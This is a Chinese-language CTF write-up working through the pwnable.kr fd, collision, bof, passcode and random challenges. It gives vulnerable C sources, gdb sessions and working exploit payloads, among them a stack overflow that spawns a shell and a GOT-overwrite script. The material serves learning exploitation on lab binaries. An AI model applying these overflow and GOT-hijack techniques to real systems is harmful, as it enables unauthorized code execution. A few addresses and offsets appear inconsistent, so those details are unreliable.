PWNABLE练习
PWNABLE练习
fd
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
考察文件描述符,程序接受了一个参数,令fd=参数-0x1234,fd在read函数里决定输入方式,同时我们要输入LETMEWIN提权读出flag,这里补一下文件描述符的知识
在Linux中:
-
0 = 标准输入(stdin) - 从键盘/管道读取
-
1 = 标准输出(stdout) - 输出到屏幕
-
2 = 标准错误(stderr) - 错误信息输出
注意下这条语句``
strcmp("LETMEWIN\n", buf) == 0
!0 == 1 // 真
if(1) 条件成立
srtcmp()函数比较两组数据,返回值为两者相减,前减后
collision
代码如下
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
这里程序接受了一个char类型的参数,在check函数中通过强制类型转换为int*类型(四字节),然后将这五个数相加,验证是否等于unsigned long hashcode ,输出flag,我们不妨想个最简单的方式,前四个数都是0x00000001,第五个数为0x21DD09E8.
AI给出的脚本如下
import sys
import struct
def main():
target = 0x21DD09EC
# 策略:四个 1,一个 (target-4)
# 这样构造可以避免输入中出现奇怪的字符导致被截断(尽量避开 \x00,但这里很难完全避开)
part1 = 1
part2 = target - 4
# 使用 struct 将整数打包为4字节的二进制数据 (小端序)
# '<' 表示小端序, 'I' 表示无符号整数 (4字节)
payload = b""
payload += struct.pack('<I', part1) # 前4字节
payload += struct.pack('<I', part1) # 第5-8字节
payload += struct.pack('<I', part1) # 第9-12字节
payload += struct.pack('<I', part1) # 第13-16字节
payload += struct.pack('<I', part2) # 第17-20字节
# 验证长度
if len(payload) != 20:
print("错误:长度不是20字节")
return
# 输出二进制数据到 stdout (原始字节)
sys.stdout.buffer.write(payload)
if __name__ == "__main__":
main()
./col $(echo -ne '\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\xE8\x05\xD9\x1D')
解释:
-
echo -ne:-n 不换行,-e 解释转义字符
-
\x01 会被正确解释为1个字节
-
$() 将echo的输出作为命令行参数
import struct
# 1. 计算正确的二进制 Payload
target = 0x21DD09EC
part1 = 1
part2 = target - 4
payload_bytes = b""
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part1)
payload_bytes += struct.pack('<I', part2)
# 2. 转换为 \x 格式字符串
# 遍历每个字节,格式化为 \x 加上两位十六进制数
hex_string = ''.join(f'\\x{byte:02x}' for byte in payload_bytes)
# 3. 输出结果
print("二进制数据的 \\x 表示形式:")
print(hex_string)
# 4. (可选) 保存到文本文件
with open('payload_hex.txt', 'w') as f:
f.write(hex_string)
print("\n已保存到 payload_hex.txt")
bof
代码如下
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
这里定义了key,当key被覆盖为指定值时获取shell,这里我们使用gdb调试
将源码拷下来,重新编译
gcc -m32 -g -std=gnu89 -o bof_debug bof.c
打断点,找栈里面的变量
gdb ./bof_debug
(gdb) break func
(gdb) run
pwndbg> print &overflowme
$1 = (char (*)[32]) 0xffffce80
pwndbg> print &key
$2 = (int *) 0xffffceb0
相差五十二个字节
构造payload
python3 -c "import sys; sys.stdout.buffer.write(b'A'*52 + b'\xbe\xba\xfe\xca')" | ./bof_local
or
import struct # 导入struct模块,用于处理二进制数据
offset = 52 # 从overflowme到key的距离(52字节)
# 这是通过调试或已知信息得到的
payload = b"A" * offset # 1. 填充52个'A'(ASCII 0x41)
+ struct.pack("<I", 0xcafebabe) # 2. 加上目标值(小端序)
struct.pack("<I", 0xcafebabe) 解释:
"<" 表示小端序(Little Endian)
"I" 表示unsigned int(4字节无符号整
0xcafebabe 是要打包的值
结果是:b'\xbe\xba\xfe\xca'
最终payload:b'AAAAAAAA...AAAAA\xbe\xba\xfe\xca'(总共56字节)
0xcafebabe在内存中不是直接存为\xca\xfe\xba\xbe
x86/x64使用小端序:低字节在前所以存为:\xbe\xba\xfe\xca
payload = b"A"*52 + struct.pack("<I", 0xcafebabe) # ✅ 自动小端序
-
"<I":小端序的4字节整数
-
">I":大端序的4字节整数
-
"<Q":小端序的8字节整数(64位)
-
"<H":小端序的2字节整数
三、攻击执行的两种方法
方法1:Python直接管道(一行命令)
(python3 -c '
import struct
import sys
payload = b"A"*52 + struct.pack("<I", 0xcafebabe)
sys.stdout.buffer.write(payload) # 将payload写入标准输出
'; cat -) | ./bof
python3 -c '...':执行一段Python代码
sys.stdout.buffer.write(payload):输出二进制payload
cat -:保持管道打开,等待用户输入(用于shell交互)
| ./bof:将输出作为bof程序的输入
为什么需要cat -?
没有cat -:python输出完就关闭管道,shell无法接收输入
有cat -:保持管道打开,你可以输入shell命令(如ls、cat flag)
# 1. 生成payload文件
python3 -c '
import struct
payload = b"A"*52 + struct.pack("<I", 0xcafebabe)
with open("payload.bin", "wb") as f:
f.write(payload)
'
# 2. 攻击
(cat payload.bin; cat -) | ./bof
简洁一点
from pwn import *
payload = b"A"*52 + p32(0xcafebabe)
write("payload.bin", payload)
passcode
代码如下
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==123456 && passcode2==13371337){
printf("Login OK!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.1 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
这里模拟了一个失败的登录系统,在使用scanf函数将键盘输入读到变量里面时漏掉取址符,登录时不能正常登入,注意到代码包含exit跳转函数,我们考虑got表劫持方法
思路:我们在这里有三次输入机会,用户名、passcode1,passcode2,考虑到用户名和passcode12不在同一个函数里面,考虑栈残留将passcode1值修改为exit的got表地址,在输入passcode1时写入成功分支的地址,触发exit函数,跳转到成功分支获取flag
操作:
- 断点调试
# 设置断点
break welcome
break login
# 运行
continue
# 查看变量地址
print &passcode1
print &name
# 计算偏移
python print(0xffffce4c- 0xffffceac) # passcode1地址 - name地址
- 拿到成功分支和exitgot表地址
objdump -R passcode | grep exit
00004018 R_386_JUMP_SLOT exit@GLIBC_2.0
注意,我们这里拿到的是exit函数的虚拟地址,我们还需要确定程序的基地址
补充知识:
内存范围 文件偏移 权限 段类型
0x56555000-0x56556000 0x0 r--p ELF头、只读数据
0x56556000-0x56557000 0x1000 r-xp 代码段(.text)
0x56557000-0x56558000 0x2000 r--p 只读数据段(.rodata)
0x56559000-0x5655a000 0x3000 rw-p 数据段(.data)
我们这里采用gdb来拿到基地址
info proc mappings
返回:
Start Addr End Addr Size Offset Perms File
0x56555000 0x56556000 0x1000 0x0 r--p /home/kali/Desktop/passcode
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/kali/Desktop/passcode
0x56557000 0x56558000 0x1000 0x2000 r--p /home/kali/Desktop/passcode
0x56558000 0x56559000 0x1000 0x2000 r--p /home/kali/Desktop/passcode
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/kali/Desktop/passcode
0xf7d5d000 0xf7d81000 0x24000 0x0 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7d81000 0xf7f0a000 0x189000 0x24000 r-xp /usr/lib/i386-linux-gnu/libc.so.6
0xf7f0a000 0xf7f8f000 0x85000 0x1ad000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7f8f000 0xf7f91000 0x2000 0x232000 r--p /usr/lib/i386-linux-gnu/libc.so.6
0xf7f91000 0xf7f92000 0x1000 0x234000 rw-p /usr/lib/i386-linux-gnu/libc.so.6
0xf7f92000 0xf7f9c000 0xa000 0x0 rw-p
0xf7fbc000 0xf7fbe000 0x2000 0x0 rw-p
0xf7fbe000 0xf7fc2000 0x4000 0x0 r--p [vvar]
0xf7fc2000 0xf7fc4000 0x2000 0x0 r--p [vvar_vclock]
0xf7fc4000 0xf7fc6000 0x2000 0x0 r-xp [vdso]
0xf7fc6000 0xf7fc7000 0x1000 0x0 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 0x25000 0x1000 r-xp /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 0xf000 0x26000 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x2000 0x34000 r--p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x1000 0x36000 rw-p /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
查看段信息
readelf -S passcode | grep -A 1 "\.got\.plt"
返回
[23] .got.plt PROGBITS 00003ff4 002ff4 000030 04 WA 0 0 4
[24] .data PROGBITS 00004024 003024 000008 00 WA 0 0 4
或者通过gdb直接拿到
info functions exit@plt
返回
pwndbg> info functions exit@plt
All functions matching regular expression "exit@plt":
Non-debugging symbols:
0x56556090 exit@plt
pwndbg>
disas login
#通过系统调用特征找到跳转位置
0x565561fd <+0>: push ebp
0x565561fe <+1>: mov ebp,esp
0x56556200 <+3>: push esi
0x56556201 <+4>: push ebx
0x56556202 <+5>: sub esp,0x10
0x56556205 <+8>: call 0x56556100 <__x86.get_pc_thunk.bx>
0x5655620a <+13>: add ebx,0x2dea
0x56556210 <+19>: sub esp,0xc
=> 0x56556213 <+22>: lea eax,[ebx-0x1fec]
0x56556219 <+28>: push eax
0x5655621a <+29>: call 0x56556040 <printf@plt>
0x5655621f <+34>: add esp,0x10
0x56556222 <+37>: sub esp,0x8
0x56556225 <+40>: push DWORD PTR [ebp-0xc]
0x56556228 <+43>: lea eax,[ebx-0x1fd9]
0x5655622e <+49>: push eax
0x5655622f <+50>: call 0x565560b0 <__isoc99_scanf@plt>
0x56556234 <+55>: add esp,0x10
0x56556237 <+58>: mov eax,DWORD PTR [ebx-0xc]
0x5655623d <+64>: mov eax,DWORD PTR [eax]
0x5655623f <+66>: sub esp,0xc
0x56556242 <+69>: push eax
0x56556243 <+70>: call 0x56556050 <fflush@plt>
0x56556248 <+75>: add esp,0x10
0x5655624b <+78>: sub esp,0xc
0x5655624e <+81>: lea eax,[ebx-0x1fd6]
0x56556254 <+87>: push eax
0x56556255 <+88>: call 0x56556040 <printf@plt>
0x5655625a <+93>: add esp,0x10
0x5655625d <+96>: sub esp,0x8
0x56556260 <+99>: push DWORD PTR [ebp-0x10]
0x56556263 <+102>: lea eax,[ebx-0x1fd9]
0x56556269 <+108>: push eax
0x5655626a <+109>: call 0x565560b0 <__isoc99_scanf@plt>
0x5655626f <+114>: add esp,0x10
0x56556272 <+117>: sub esp,0xc
0x56556275 <+120>: lea eax,[ebx-0x1fc3]
0x5655627b <+126>: push eax
0x5655627c <+127>: call 0x56556070 <puts@plt>
0x56556281 <+132>: add esp,0x10
0x56556284 <+135>: cmp DWORD PTR [ebp-0xc],0x1e240
0x5655628b <+142>: jne 0x565562d5 <login+216>
0x5655628d <+144>: cmp DWORD PTR [ebp-0x10],0xcc07c9
0x56556294 <+151>: jne 0x565562d5 <login+216>
0x56556296 <+153>: sub esp,0xc
0x56556299 <+156>: lea eax,[ebx-0x1fb7]
0x5655629f <+162>: push eax
0x565562a0 <+163>: call 0x56556070 <puts@plt>
0x565562a5 <+168>: add esp,0x10
0x565562a8 <+171>: call 0x56556060 <getegid@plt>
0x565562ad <+176>: mov esi,eax
0x565562af <+178>: call 0x56556060 <getegid@plt>
0x565562b4 <+183>: sub esp,0x8
0x565562b7 <+186>: push esi
0x565562b8 <+187>: push eax
0x565562b9 <+188>: call 0x565560a0 <setregid@plt>
0x565562be <+193>: add esp,0x10
0x565562c1 <+196>: sub esp,0xc
0x565562c4 <+199>: lea eax,[ebx-0x1fad]
0x565562ca <+205>: push eax
0x565562cb <+206>: call 0x56556080 <system@plt>
0x565562d0 <+211>: add esp,0x10
0x565562d3 <+214>: jmp 0x565562f1 <login+244>
0x565562d5 <+216>: sub esp,0xc
0x565562d8 <+219>: lea eax,[ebx-0x1f9f]
0x565562de <+225>: push eax
0x565562df <+226>: call 0x56556070 <puts@plt>
0x565562e4 <+231>: add esp,0x10
0x565562e7 <+234>: sub esp,0xc
0x565562ea <+237>: push 0x0
0x565562ec <+239>: call 0x56556090 <exit@plt>
0x565562f1 <+244>: nop
0x565562f2 <+245>: lea esp,[ebp-0x8]
0x565562f5 <+248>: pop ebx
0x565562f6 <+249>: pop esi
0x565562f7 <+250>: pop ebp
0x565562f8 <+251>: ret
End of assembler dump.
#注意到0x565562cb有关于system调用,c4有导入参数,从c4开始执行
构造攻击脚本
from pwn import *
# 设置上下文
context.binary = './program'
# 关键地址
exit_got = 0x56556090 # exit@GOT地址
success_addr = 0x565562c4# 登录成功地址
# 构造name输入
# 需要96字节填充 + 4字节的exit_got地址
payload = b"A" * 96 + p32(exit_got)
print(f"Payload length: {len(payload)} bytes")
print(f"Success address decimal: {success_addr}")
random
代码如下
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xcafebabe ){
printf("Good!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
这里程序使用rand()函数生成了个随机数,这里介绍下rand()函数,通常采用LCG线性同余生成器,其采取的种子在没有使用srand函数的时候一般是固定的,我们这里在获取随机数后和键盘输入的key进行xor运算,如果和设定的值相当输出flag,我们通过调试拿到这个默认种子
gdb random
beak main
输出
────────────────────────────────[ DISASM / x86-64 / set emulate off ]─────────────────────────────────
► 0x5571bf4e5211 <main+8> push rbx
0x5571bf4e5212 <main+9> sub rsp, 0x18
0x5571bf4e5216 <main+13> mov rax, qword ptr fs:[0x28] RAX, [0x7fb218b10768]
0x5571bf4e521f <main+22> mov qword ptr [rbp - 0x18], rax
0x5571bf4e5223 <main+26> xor eax, eax EAX => 0
0x5571bf4e5225 <main+28> mov eax, 0 EAX => 0
0x5571bf4e522a <main+33> call rand@plt <rand@plt>
0x5571bf4e522f <main+38> mov dword ptr [rbp - 0x1c], eax
0x5571bf4e5232 <main+41> mov dword ptr [rbp - 0x20], 0
0x5571bf4e5239 <main+48> lea rax, [rbp - 0x20]
0x5571bf4e523d <main+52> mov rsi, rax
发现六步之后调用了rand函数
继续执行stepi 6
输出
0x56374b438110 <rand@plt> endbr64
0x56374b438114 <rand@plt+4> bnd jmp qword ptr [rip + 0x2eb5] <rand>
↓
0x7f6a2daa3760 <rand> endbr64
0x7f6a2daa3764 <rand+4> sub rsp, 8
0x7f6a2daa3768 <rand+8> call random <random>
0x7f6a2daa376d <rand+13> add rsp, 8
0x7f6a2daa3771 <rand+17> ret
我们知道,函数返回值一般存在cpu的eax寄存器里,执行完这个函数finish
输出
0x5645ced50216 <main+13> mov rax, qword ptr fs:[0x28] RAX, [0x7fc65cb23768]
0x5645ced5021f <main+22> mov qword ptr [rbp - 0x18], rax
0x5645ced50223 <main+26> xor eax, eax EAX => 0
0x5645ced50225 <main+28> mov eax, 0 EAX => 0
0x5645ced5022a <main+33> call rand@plt <rand@plt>
► 0x5645ced5022f <main+38> mov dword ptr [rbp - 0x1c], eax [0x7ffd0a537354] <= 0x6b8b4567
0x5645ced50232 <main+41> mov dword ptr [rbp - 0x20], 0
0x5645ced50239 <main+48> lea rax, [rbp - 0x20]
0x5645ced5023d <main+52> mov rsi, rax
0x5645ced50240 <main+55> lea rax, [rip + 0xdc1] RAX => 0x5645ced51008 ◂— 0x21646f6f47006425 /* '%d' */
0x5645ced50247 <main+62> mov rdi, rax
这里我们发现执行完rand函数之后eax的值存在rbp- 0x1c的地方了,结合代码也就是random的地址,我们直接读eax或者是读random地址下的值都可以
print $eax
x/uw $rbp - 0x1c
以上
浙公网安备 33010602011771号